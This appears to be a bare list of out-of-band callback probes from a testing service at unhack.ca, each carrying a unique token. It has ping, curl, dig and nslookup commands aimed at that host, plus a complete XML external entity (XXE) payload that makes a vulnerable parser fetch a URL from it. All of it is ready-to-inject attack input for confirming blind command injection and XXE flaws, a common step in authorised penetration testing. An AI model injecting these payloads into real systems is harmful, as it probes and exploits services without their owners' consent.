$ ping -c1 -p 0039ace4b422f8a8288739ef8d685700 unhack.ca
$ curl http://unhack.ca/p/39ace4b422f8a8288739ef8d6857
$ dig 39ace4b422f8a8288739ef8d6857 @unhack.ca
$ dig 39ace4b422f8a8288739ef8d6857.ns.unhack.ca
C:\> nslookup 39ace4b422f8a8288739ef8d6857 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/39ace4b422f8a8288739ef8d6857">]> <foo>&xxe;</foo>